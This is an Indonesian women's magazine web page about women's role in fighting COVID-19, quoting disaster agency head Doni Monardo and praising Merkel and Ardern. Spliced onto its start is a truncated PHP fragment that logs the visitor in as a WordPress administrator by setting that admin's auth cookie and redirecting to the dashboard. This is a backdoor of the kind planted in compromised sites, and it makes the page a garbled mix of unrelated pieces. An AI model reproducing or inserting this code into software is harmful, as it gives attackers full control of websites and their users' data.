user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Wanita Bisa Jadi Pahlawan Melawan COVID-19

25 Jun 2020


Foto: Pexels
 

Meskipun wanita termasuk golongan rentan dalam berbagai program kebencanaan, namun wanita justru merupakan salah satu komponen yang bisa mendukung proses mitigasi demi mengurangi risiko bencana. Begitu pula dalam pandemi COVID-19.

Letjen TNI Doni Monardo, Kepala Badan Nasional Penanggulangan Bencana (BNPB) sekaligus Ketua Gugus Tugas Percepatan Penanganan COVID-19 percaya bahwa ketika wanita dapat tampil dalam garda terdepan untuk mengingatkan keluarga, maka mereka bisa menjadi kekuatan utama dalam menangani krisis COVID-19.

“Pemerintah pusat hinga kabupaten kota telah berusaha, tapi kalau wanita mau cerewet sedikit untuk bisa nyinyir, mengingatkan, itu bagus. Ada beberapa ketua RT wanita malah lebih disiplin, lebih berani dalam menegur mereka yang tidak disiplin dengan menyampaikan anjuran bahkan ancaman. Kalau tidak disiplin, ia tidak akan berikan bantuan sembako dari pemerintah. Warga jadinya lebih takut pada ketua RT dibandingkan gubernur,” jelas Doni dalam sesi Live Twitter @feminamagazine bertajuk Tanya Pak Doni Monardo, Kepala BNPB : New Normal, Apa Saja yang Kita Wajib Tahu.

Menurut Doni, wanita memiliki potensi untuk lebih dihargai dan disegani ketika berani tampil sebagai patriot demi mengingatkan masyarakat untuk patuh terhadap protokol kesehatan. Saat wanita bisa berkontribusi dalam mengurangi risiko penularan, menekan jumlah pasien positif COVID-19, serta mengurangi angka kematian, maka mereka merupakan patriot sesungguhnya. Wanita menjadi bagian dari pahlawan kemanusiaan.

Di berbagai belahan dunia banyak contoh wanita yang berkontribusi besar terhadap penanganan krisis COVID-19. Angela Merkel, Kanselir Jerman berhasil memimpin Jerman melewati masa kritis pandemi COVID-19. Ia pemimpin yang dipercaya warganya dan dianggap bisa mengurangi kecemasan masyarakat akibat informasi yang simpang siur tentang COVID-19. Merkel dikenal sebagai pemimpin yang teliti menyusun informasi, jujur terhadap apa yang belum ia ketahui, dan bersikap tenang.
 
Begitu pula dengan Jacinda Ardern, Perdana Menteri Selandia Baru. Di bawah kepemimpinannya, Selandia Baru dinilai sebagai negara yang memiliki respon paling efektif dalam menghadapi pandemi COVID-19. Kerja keras dan kerja cepat jadi kunci kepemimpinan Ardern.
 
Advertisement
Selandia Baru sudah menutup diri terhadap pendatang dari negara lain sejak kasus pasien positif COVID-19 mencapai 100 orang tanpa kematian. Ia juga menerapkan lockdown penuh tak lama kemudian. Hingga kini angka kematian pasien COVID-19 di Selandia Baru tak lebih dari 22 orang.

“Pahlawan masa lalu adalah mereka yang mengangkat senjata untuk melawan penjajah, namun hari ini pahlawan adalah para tenaga medis di rumah sakit, termasuk wanita yang bisa mengajak orang untuk taat pada protokol kesehatan,” tuturnya.(f)

 

BACA JUGA:
Ancaman Demam Berdarah di Masa Pandemi COVID-19
Pola Konsumsi Masyarakat Berubah Pasca Pandemi COVID-19, Ini yang Perlu Diperhatikan UMKM
Peran Wanita dalam Adaptasi Kebiasaan Baru yang Aman dan Produktif

 

 
 
 
 


Topic

#donimonardo, #wanita, #corona, #jacindaardern, #angelamerkel

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?